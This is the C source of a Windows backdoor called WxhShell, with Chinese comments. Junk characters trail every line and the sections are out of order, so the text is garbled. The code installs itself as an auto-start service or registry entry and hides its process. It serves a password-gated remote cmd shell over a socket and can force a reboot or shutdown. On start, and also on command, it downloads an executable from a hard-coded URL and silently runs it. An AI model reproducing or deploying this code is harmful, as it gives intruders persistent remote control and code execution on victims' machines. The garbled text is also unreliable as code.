    if(Boot(SHUTDOWN)) ?Gq'r2V  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0B(<I?a/  
    else { =d/\8\4  
    closesocket(wsh); ^(ks^<}  
    ExitThread(0); m`<Mzk.u<  
    } iSTr;>A  
    break; e^g3J/aU  
    } #C?T  
  // 获取shell [/#c9RA  
  case 's': { Cc:4n1|]>  
    CmdShell(wsh); Q]_3 #_'  
    closesocket(wsh); qC9$xIWq  
    ExitThread(0); '3Ir(]Wfd  
    break; eTI<WFRc_  
  } QDlEby m  
  // 退出 _S:6;_bz  
  case 'x': { hWK}] gF  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); q!#e2Dx  
    CloseIt(wsh); \H$Ps9Xh  
    break; 1xM'5C?~7  
    } Wvl>iHB  
  // 离开 SCl$+9E  
  case 'q': { PMk3b3)Z  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); (: IUg   
    closesocket(wsh); 96aA2s1  
    WSACleanup(); )r v5QH`i  
    exit(1); eR r.j  
    break; &H!3]  
        } *D ld?Q  
  } y@[}FgVOh  
  } bkkhx,Oi[G  
PF@+~FI  
  // 提示信息 E6n3[Z  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); W=M`Bkw{  
} xwa5dtcng  
  } A87JPX#R?  
Ktg{-Xl  
  return; U0'>(FP~2  
} U'S}7gya  
I*R[8|  
// shell模块句柄 $X_JUzb  
int CmdShell(SOCKET sock) 5Qhu5~,K  
{ /5 Wy) -  
STARTUPINFO si; /_E8'qlx  
ZeroMemory(&si,sizeof(si)); ?Y2ZqI  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; -x2/y:q`  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Y - 6 ?x  
PROCESS_INFORMATION ProcessInfo; {J q[N}  
char cmdline[]="cmd"; Vu '/o[nF>  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Ddde, WJA  
  return 0; G?!b00H  
} vJDK]p<}  
jq#_*&Eg]  
// 自身启动模式 egboLqn  
int StartFromService(void) Tx?,]c,(u  
{ / <WB%O  
typedef struct ]kq{9b';  
{ mh]'/C_*<w  
  DWORD ExitStatus; VTySKY+  
  DWORD PebBaseAddress; $.kP7!`:,  
  DWORD AffinityMask; `E>HpRcxD  
  DWORD BasePriority; Q[_{:DJA  
  ULONG UniqueProcessId; )ALPMmlRs  
  ULONG InheritedFromUniqueProcessId; 9K~2!<  
}   PROCESS_BASIC_INFORMATION; =8$//$  
:S}!i?n  
PROCNTQSIP NtQueryInformationProcess; c4ptY5R),  
NR-d|`P;  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; D'Tb=  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; y:(OZ%g  
:@)UI,  
  HANDLE             hProcess; =3OK 3|  
  PROCESS_BASIC_INFORMATION pbi; 5G=<2;  
PVHJIB  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); $E3- </ f  
  if(NULL == hInst ) return 0; 4s nL((  
6M9t<DQV  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Gm;)Om_  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); occ^bq  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); R>SS\YC'X  
>c%OnA,3  
  if (!NtQueryInformationProcess) return 0; bVmHUcR0  
t-Rfy`I3  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); E8gXa-hv  
  if(!hProcess) return 0; bh|M]*Pq  
:;W[@DeO[  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; &v|Uy}h&%1  
\7PPFKS  
  CloseHandle(hProcess); 0"7%*n."2  
I Y%M5(&Q  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); RUqN,C,m5I  
if(hProcess==NULL) return 0; >)*'w!  
2g5i3C.q$  
HMODULE hMod; )3 #gpM  
char procName[255]; :8b{|}aYV  
unsigned long cbNeeded; I^"ou M9}Q  
.[&0FHnJ5  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ly"Jl8/<  
WLl_;BgN  
  CloseHandle(hProcess); |/<,71Ae  
Yt&Isi +  
if(strstr(procName,"services")) return 1; // 以服务启动 Cbu/7z   
nZZNx  
  return 0; // 注册表启动 |,3s]b`  
} R<. <wQ4I  
uQh dg4  
// 主模块 < kyT{[e+6  
int StartWxhshell(LPSTR lpCmdLine) m>yb}+  
{ ]<b$k  
  SOCKET wsl; 2gM=vaiH=  
BOOL val=TRUE; aT}Mn(F*?  
  int port=0; 9U[Gh97Sf  
  struct sockaddr_in door; PL$*)#S"$  
DfYOGs]@  
  if(wscfg.ws_autoins) Install(); o6`4y^Q{/  
yg({g "  
port=atoi(lpCmdLine); =k.:XblEe[  
MKVz'-`u  
if(port<=0) port=wscfg.ws_port; ;W%nBdE6|  
X&C&DTB  
  WSADATA data; fP3e{dVf  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; UNLmnj;-Q  
;:<z hO  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   dRw O t  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); vBy t_X  
  door.sin_family = AF_INET; 337y,;  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); MTBHFjXO  
  door.sin_port = htons(port); + *u'vt?  
6cR}Mm9Hx3  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { aq~>$CHa  
closesocket(wsl); Pdgn9  
return 1; oCtg{*vp  
} ++O L&n  
U@t" o3E  
  if(listen(wsl,2) == INVALID_SOCKET) { D5]AL5=Xt2  
closesocket(wsl); MZYh44  
return 1; nc<w DE6  
} pe^hOzVv  
  Wxhshell(wsl); 5L ]TV\\  
  WSACleanup(); `Fn"%P!  
q/T(s  
return 0; /zt9;^e  
#h,7dz.d  
} nP]tc  
j@chSk"K  
// 以NT服务方式启动 3k YVk  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) $'Pn(eZHGv  
{ |W't-}yf  
DWORD   status = 0; \.0cA4)[$  
  DWORD   specificError = 0xfffffff; jM <=>P  
|E{tS,{OhJ  
  serviceStatus.dwServiceType     = SERVICE_WIN32; \R"}=7  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Th!.=S{Y5  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; NxOiT#YH  
  serviceStatus.dwWin32ExitCode     = 0; \R!.VL3Tx$  
  serviceStatus.dwServiceSpecificExitCode = 0; %62W[Oh5  
  serviceStatus.dwCheckPoint       = 0; @B.;V=8wJ  
  serviceStatus.dwWaitHint       = 0; hMcSB8?  
:ik$@5wp  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 3o).8b_3g  
  if (hServiceStatusHandle==0) return; OO7sj@  
4Sj;38F .1  
status = GetLastError(); -|1H-[Y(  
  if (status!=NO_ERROR)  {J aulg  
{ ,s=jtK  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; t=-t xnlr<  
    serviceStatus.dwCheckPoint       = 0; *.'9eC0s  
    serviceStatus.dwWaitHint       = 0; A~2U9f+\  
    serviceStatus.dwWin32ExitCode     = status; ^A&i$RRO  
    serviceStatus.dwServiceSpecificExitCode = specificError; ">{Ruv}$  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ZQL4<fy'E  
    return; 6[b?ckvi  
  } $`KddW0_  
V XE85  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; z XI [f  
  serviceStatus.dwCheckPoint       = 0; 5g x9W\a ?  
  serviceStatus.dwWaitHint       = 0; |E& F e8  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 9EPE.+ns  
} 2&e2/KEWR  
asT/hsSNS  
// 处理NT服务事件,比如:启动、停止 {S9't;%]  
VOID WINAPI NTServiceHandler(DWORD fdwControl) gY],U4_:p  
{ G,{=sFX  
switch(fdwControl) a&sVcsX  
{ U@ ;W^Mt  
case SERVICE_CONTROL_STOP: oVD)Fb%[i9  
  serviceStatus.dwWin32ExitCode = 0; .Mn_T*F  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; r8R]0\  
  serviceStatus.dwCheckPoint   = 0; bqo+ b{i\  
  serviceStatus.dwWaitHint     = 0; .=~-sj@k  
  { h20<X;  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); T<jo@z1UL  
  } b I%Sq+"}  
  return; %^`b)   
case SERVICE_CONTROL_PAUSE: A^m]DSFOO  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; [!g$|   
  break; >5O#_?  
case SERVICE_CONTROL_CONTINUE: mJ'Q9x"  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 1WTDF  
  break; QbN7sg~~  
case SERVICE_CONTROL_INTERROGATE: zL^`r)H  
  break; t PJW|wo  
}; s(0S)l<  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); p)x*uqSd  
} M1Frn n  
?cZ#0U  
// 标准应用程序主函数 wt@Qjbqd8  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) !ek};~(  
{ /'[m6zm]  
h/LlH9S:!  
// 获取操作系统版本 ytmFe!  
OsIsNt=GetOsVer(); (G E)  
GetModuleFileName(NULL,ExeFile,MAX_PATH); fwN'5ep  
:rdw0EROy  
  // 从命令行安装 Tc3~~X   
  if(strpbrk(lpCmdLine,"iI")) Install(); 7])cu>/  
CnXl 7"  
  // 下载执行文件 A>bpP  
if(wscfg.ws_downexe) { Z$X[x7e.  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) O(_a6s+m  
  WinExec(wscfg.ws_filenam,SW_HIDE); l DWg%pI+  
} mDCz=pk)  
].!^BYNht  
if(!OsIsNt) { L@&(>  
// 如果时win9x,隐藏进程并且设置为注册表启动 u2FD@Xq?  
HideProc(); .{=|N8*py8  
StartWxhshell(lpCmdLine); <*Ex6/j  
} ,Fv8&tR  
else hoDE*>i  
  if(StartFromService()) wnPg).  
  // 以服务方式启动 AB:JXMyK  
  StartServiceCtrlDispatcher(DispatchTable); <'N(`.&3C  
else #+Pk_?  
  // 普通方式启动 5gg Yg $  
  StartWxhshell(lpCmdLine); J8;lG  
1Z$` }a  
return 0; MB"TwtW  
} }5nVZ;  
MT3TWWtZ:  
\\D(St  
{!/ha$(  
===========================================  45qSt2  
g,YJh(|#{  
'LyEdlC]  
sx]kH$  
)*CDufRFz  
W74Y.zQ  
" ElK7jWJ+  
Y+kfMAv  
#include <stdio.h> &| guPZ  
#include <string.h> e6(Pw20)s  
#include <windows.h> qx;8Hq(E[  
#include <winsock2.h> )[]*Y]vSx  
#include <winsvc.h> *pP&$!bH%  
#include <urlmon.h> {~y,.[Ga  
knS(\51A  
#pragma comment (lib, "Ws2_32.lib") gAPD y/wM  
#pragma comment (lib, "urlmon.lib") #sRkKl|  
|ler\"Eu  
#define MAX_USER   100 // 最大客户端连接数 .m^L,;+2  
#define BUF_SOCK   200 // sock buffer Fs}vI~}  
#define KEY_BUFF   255 // 输入 buffer 1v M'yr$  
EG&97l b  
#define REBOOT     0   // 重启 +bhR[V{0g  
#define SHUTDOWN   1   // 关机 %vZTD +i  
oj'a%mx  
#define DEF_PORT   5000 // 监听端口 -KA Y  
Zai:?%^  
#define REG_LEN     16   // 注册表键长度 :5DL&,,Q3  
#define SVC_LEN     80   // NT服务名长度 Mcfqo0T-  
cmu|d  
// 从dll定义API sPxDo?1x-  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); &&s3>D^Ta  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); , |lDR@  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); y~Ts9AE  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); F39H@%R  
rQLl[a  
// wxhshell配置信息 7+2DsZ^6MW  
struct WSCFG { xJ(}?0h-X  
  int ws_port;         // 监听端口 3X>x`  
  char ws_passstr[REG_LEN]; // 口令 ^Q9;ro*;ck  
  int ws_autoins;       // 安装标记, 1=yes 0=no cqSo%a2  
  char ws_regname[REG_LEN]; // 注册表键名 AC}[Q p!  
  char ws_svcname[REG_LEN]; // 服务名 Tfow_t}\  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 vLT$oiN[c  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 tM DJ,rT  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 0vjlSHS;`.  
int ws_downexe;       // 下载执行标记, 1=yes 0=no A}l+BIt  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 7mBH #Q)  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 d #vo)>  
-`s_md0BM  
}; 'L5ih|$>  
>X58 zlxk  
// default Wxhshell configuration l+XTn;cS  
struct WSCFG wscfg={DEF_PORT, u_*DS-  
    "xuhuanlingzhe", hYSzr-)  
    1, dc=}c/6x  
    "Wxhshell", Ej#pM.  
    "Wxhshell", *m6h(8(7Z  
            "WxhShell Service", bD:[r))#e  
    "Wrsky Windows CmdShell Service", <nk7vo?Ks  
    "Please Input Your Password: ", |)[I$]L  
  1, ;_iDiLC;  
  "http://www.wrsky.com/wxhshell.exe", Cw$7d:u  
  "Wxhshell.exe" 8:gUo8  
    }; N?j#=b+D  
oU)Hco"_k  
// 消息定义模块  sg9  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; u.rFZu?E\  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ANuO(^  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; TJ_pMU  
char *msg_ws_ext="\n\rExit."; k}hTSL  
char *msg_ws_end="\n\rQuit."; |E?,hTRe5  
char *msg_ws_boot="\n\rReboot..."; $, vX yZ  
char *msg_ws_poff="\n\rShutdown..."; ,p)Qu%'  
char *msg_ws_down="\n\rSave to "; M"s+k  
K:L_y 1!T  
char *msg_ws_err="\n\rErr!"; o XFo  
char *msg_ws_ok="\n\rOK!"; i TLX=.M  
#t<  
char ExeFile[MAX_PATH]; }'WEqNuE  
int nUser = 0; 60--6n  
HANDLE handles[MAX_USER]; n`.JI(|  
int OsIsNt; pB:/oHV  
m"f3hd4D_q  
SERVICE_STATUS       serviceStatus; r?2J   
SERVICE_STATUS_HANDLE   hServiceStatusHandle; k@|Go )~  
r) g:-[Ox9  
// 函数声明 QX$3"AZ~  
int Install(void); jT*?Z:U  
int Uninstall(void); 0)]?@"j  
int DownloadFile(char *sURL, SOCKET wsh); b_w(F_0  
int Boot(int flag); BFswqp:  
void HideProc(void); zGtv(gwk  
int GetOsVer(void); %\] x}IC  
int Wxhshell(SOCKET wsl); NCivh&HR  
void TalkWithClient(void *cs); cD ?'lB-  
int CmdShell(SOCKET sock); Cg3 d  
int StartFromService(void); y`\rb<AZ*t  
int StartWxhshell(LPSTR lpCmdLine); cvVv-L<[S`  
UIC~%?oIA  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); m[qW)N:w  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 5S 4 Bz  
I~Q G  
// 数据结构和表定义 w5`EJp8MC  
SERVICE_TABLE_ENTRY DispatchTable[] = qF Xx/FZ  
{ f~:wI9  
{wscfg.ws_svcname, NTServiceMain}, c0Yc~&RF  
{NULL, NULL} -"6Z@8=  
}; rUg|5EN^)d  
GL,( N|  
// 自我安装 PZihC  
int Install(void) ]Jo}F@\g  
{ v}TFM  
  char svExeFile[MAX_PATH]; 2H/{OQ$  
  HKEY key; @plh'f}  
  strcpy(svExeFile,ExeFile); y I}>  
5'/ff=  
// 如果是win9x系统,修改注册表设为自启动 Y=D\  
if(!OsIsNt) { Nxr\Yey  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { _&N}.y)+t  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); dP?QPky{9  
  RegCloseKey(key); o(yyj'=(  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 0ax ;Q[z2  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); PR7B Cxm  
  RegCloseKey(key); O9rA3qv B  
  return 0; +K?sg;  
    } B+z>$6  
  } w+$~ ds  
} uH)?`I\zrd  
else { -""(>$b 2  
og&-P=4O  
// 如果是NT以上系统,安装为系统服务 Z1_F)5pn  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); CA5T3J@vAQ  
if (schSCManager!=0) $LVzhQlD  
{ iK!FVKi}  
  SC_HANDLE schService = CreateService qRHT~ta-?  
  ( f)mOeD*u|  
  schSCManager, e*Y<m\*  
  wscfg.ws_svcname, V''fmWo7  
  wscfg.ws_svcdisp, @w;$M]o1  
  SERVICE_ALL_ACCESS, 7CH.BY  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 5fRrd;  
  SERVICE_AUTO_START, ^SK!? M  
  SERVICE_ERROR_NORMAL, fL*+[v4  
  svExeFile, m\70&%v  
  NULL, xQl}~G]!  
  NULL, {< EPm&q  
  NULL, Cbp zYv32  
  NULL,  : 76zRF  
  NULL iCCe8nK  
  ); *qu5o5Q  
  if (schService!=0)  O*.n;_&  
  { .PV(MV  
  CloseServiceHandle(schService); aKE`nA0\B  
  CloseServiceHandle(schSCManager); UD.ZnE{"  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ;G[0%z+*  
  strcat(svExeFile,wscfg.ws_svcname); GFju:8P?  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { K-@\";whF  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); [$td:N *  
  RegCloseKey(key); d]:G#<.  
  return 0; w=3 j'y{f  
    } 78r0K 5=  
  } 1Wiz0X/  
  CloseServiceHandle(schSCManager); 8I Ip,#%v  
} g*`xEb= '  
} G:y+yE4  
c&,q`_t  
return 1; }"SqB{5e(  
} o';/$xrH  
B?yj U[/R  
// 自我卸载 a>rDJw:  
int Uninstall(void) 8!HB$vdw7  
{ \WbQS#Z9  
  HKEY key; 8Lgm50bs  
jVZ<i}h0B  
if(!OsIsNt) { z@w}+fYO  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { La3rX  
  RegDeleteValue(key,wscfg.ws_regname); 8e^uKYR<  
  RegCloseKey(key); 7!h> < sx  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ?L0k|7  
  RegDeleteValue(key,wscfg.ws_regname); #HW<@E  
  RegCloseKey(key); rZcSG(d`53  
  return 0; KV$4}{  
  } &CSy>7&q  
} M_-L#FHX  
} ,hT.Ok={36  
else { k3nvML,bv  
(vX< B h  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); i;s;:{cn  
if (schSCManager!=0) ^Il*`&+?P  
{ awvP;F?q|  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); T:Ee6I 3l  
  if (schService!=0) 3-,W? "aC  
  { __FEdO  
  if(DeleteService(schService)!=0) { Ej 5_d  
  CloseServiceHandle(schService); uwr7 .\7  
  CloseServiceHandle(schSCManager); _H@ATut  
  return 0; CaO-aL  
  } ; :q  
  CloseServiceHandle(schService); "}`)s_rt  
  } M?L$xE_&  
  CloseServiceHandle(schSCManager); 3Jt# Mp  
} Ox&G  [  
} \!BVf@>p%  
**kix  
return 1;  X(X[v]  
} e0(aRN{W  
m&gB;g3:  
// 从指定url下载文件 KR%WBvv   
int DownloadFile(char *sURL, SOCKET wsh) XD|g G  
{ .(.<  
  HRESULT hr; z F.@rXl  
char seps[]= "/"; YzQ1c~+  
char *token; m,!SD Cq  
char *file; w4Df?)Z  
char myURL[MAX_PATH]; X!^|Tass  
char myFILE[MAX_PATH]; Q=fl!>P  
O>1Cx4s5  
strcpy(myURL,sURL); 1^X)vck  
  token=strtok(myURL,seps); o0f`/ 6o  
  while(token!=NULL) _ `&l46  
  { /*,_\ ;  
    file=token; z]+L=+,,  
  token=strtok(NULL,seps); PWiUW{7z  
  } S#y[_C?H  
[K\b"^=<  
GetCurrentDirectory(MAX_PATH,myFILE); bIyg7X)/  
strcat(myFILE, "\\"); yG/!K uA  
strcat(myFILE, file); -[ gT}{k!  
  send(wsh,myFILE,strlen(myFILE),0); 2a48(~<_  
send(wsh,"...",3,0); v /c]=/  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); !=,Y=5M,  
  if(hr==S_OK) 9%iQ~   
return 0; :vG0 l\  
else -HQbvXAS  
return 1; yvoz 3_!  
~8u *sy  
} iP"sw0V8  
[A!w  
// 系统电源模块 0~^RHb.NA8  
int Boot(int flag) ucx02^uA  
{ @|vH5Pi  
  HANDLE hToken; /z*Z+OT2  
  TOKEN_PRIVILEGES tkp; C\GP}:[T3  
}QE*-GVv]  
  if(OsIsNt) { 3wq<@dRv4  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ;x/eb g  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); uwSSrT  
    tkp.PrivilegeCount = 1; K8_v5  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ?l^Xauk4Pj  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); KddCR&  
if(flag==REBOOT) { Z%qtAPd  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) R; c9)>8L  
  return 0; ,dCEy+  
} 7*{f*({  
else { l\*9rs:!  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Lr$M k#'B  
  return 0; Km8aHc]O~  
} T+F]hv'  
  } !ka* rd  
  else { Sz go@x$^  
if(flag==REBOOT) { @a?7D;+<  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) a,c!#iyl3  
  return 0; F+V!p4G  
} pi?MAE*f  
else { 7~mhWPzMwB  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Dp ](?Yr  
  return 0;  S=(O6+U  
} "0P`=n  
} |h\7Q1,1~2  
S%i^`_=Q  
return 1; m0"K^p  
} <h7cQ  
6:7[>|okQ  
// win9x进程隐藏模块 _5jT}I<k  
void HideProc(void) _qxI9Q}<"  
{ 5 8bW  
e"nm<&  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); "<!U  
  if ( hKernel != NULL ) *|fF;-#v  
  { T }}2J/sj  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 6}"c4 ^k6  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 'u7-Qetj  
    FreeLibrary(hKernel); mLX/xM/T?/  
  } w7V\_^&Id  
to'7o8Z  
return; 1UP=(8j/  
} |1U_5w  
x#>V50E  
// 获取操作系统版本 Xu]~vik  
int GetOsVer(void) *; o%*:  
{ fK J-/{|  
  OSVERSIONINFO winfo; zR"c j  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); $5R2QNg n  
  GetVersionEx(&winfo); ju"z  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ,&P 4%N"  
  return 1; @r TB&>`  
  else h.jJAVPi  
  return 0; jf~](TK  
} 9L=mS  
m8q4t ,<J  
// 客户端句柄模块 +[7~:e}DZ  
int Wxhshell(SOCKET wsl) )6OD@<r{  
{ kA:mB;:  
  SOCKET wsh; ;M:AcQZ|_  
  struct sockaddr_in client; ?b (iWq  
  DWORD myID; ;tjOEmIiU  
36 "n7  
  while(nUser<MAX_USER) M.W X&;>  
{ <xI<^r'C9e  
  int nSize=sizeof(client); QL?_FwZL  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 8dGsV5"*  
  if(wsh==INVALID_SOCKET) return 1; ;qshd'?*  
fkA+:j~z_  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); @(t3<g  
if(handles[nUser]==0) I |Oco?Q"  
  closesocket(wsh); #-/W?kD  
else 2Ez<Iw  
  nUser++; ;J%:DD  
  } $R9D L^iD  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); &d_^k.%y  
D|- ]<r1"  
  return 0; #@R0$x  
} kpm;ohd  
[&)]-2w2  
// 关闭 socket u#0snw~)/  
void CloseIt(SOCKET wsh) ij" ~]I  
{ 3BFOZV+  
closesocket(wsh); [9m3@Yd'  
nUser--; %w`d  
ExitThread(0); {{G)Ry*pb  
} u`pTFy  
rB>ge]$.  
// 客户端请求句柄 ~6G `k^!  
void TalkWithClient(void *cs) ~Amq1KU*Z  
{ MmF&jd-=  
j*{0<hZb}  
  SOCKET wsh=(SOCKET)cs; -F5B Jk  
  char pwd[SVC_LEN]; djd/QAfSC  
  char cmd[KEY_BUFF]; 'Y 38VOI%  
char chr[1]; }vndt*F   
int i,j; ?CpVA  
Gm~([Ln{  
  while (nUser < MAX_USER) { Ji4p6$ .j-  
]aX@(3G1s  
if(wscfg.ws_passstr) { Vk2$b{VdF  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); inut'@=G/  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); RSX27fb4  
  //ZeroMemory(pwd,KEY_BUFF); s9 - qR_  
      i=0; Et=Pr+Q{c  
  while(i<SVC_LEN) { 2W AeSUX  
D,#UJPyg  
  // 设置超时 waMF~#PJlt  
  fd_set FdRead; NxP(&M(  
  struct timeval TimeOut; lC<;Q*Y  
  FD_ZERO(&FdRead); }(EH5jZ'  
  FD_SET(wsh,&FdRead); -/f$s1  
  TimeOut.tv_sec=8; c(Q@5@1y:  
  TimeOut.tv_usec=0; ;ALWL~Xm  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); \}Q=q$)  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); F*72g)hVh  
ImXYI7PL  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); (W1 $+X  
  pwd=chr[0]; q*I*B1p[m  
  if(chr[0]==0xd || chr[0]==0xa) { 4XkI? l  
  pwd=0; VfU"%0x  
  break; +nYFLe  
  } kK &w5'  
  i++; f$I=o N  
    } %>+uEjbT  
&Ok1j0~~  
  // 如果是非法用户,关闭 socket =p5DT  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); * EWWN?d  
} yD+4YD  
M @5&.  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Gwd38  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); j|!,^._i  
[LoQYDku  
while(1) { ;aQ`` B  
sz9W}&(j  
  ZeroMemory(cmd,KEY_BUFF); X^\D"fmE.  
" U\RN  
      // 自动支持客户端 telnet标准   adLL7  
  j=0; gAAC>{Wh  
  while(j<KEY_BUFF) { 1wFu3fh@  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Giyh( DL  
  cmd[j]=chr[0]; JFT$1^n  
  if(chr[0]==0xa || chr[0]==0xd) { ] Q5:JV  
  cmd[j]=0; ,`geOJn'  
  break; G6p gG+w  
  } "6B@V=d  
  j++; z\ZnxZ@  
    } \.Lj A_  
P$E iD+5#z  
  // 下载文件 OZ&/&?!XE  
  if(strstr(cmd,"http://")) { JduO^Fit  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); N/tcW  
  if(DownloadFile(cmd,wsh)) ~?\U];l  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); [)"\Aq  
  else NLy4Z:&{  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); g+#<;Gbpe  
  } SkjG}  
  else { j_<qnBeQ  
Xb"i/gfxt  
    switch(cmd[0]) { p/Pus;*s  
  yCQvo(V[F  
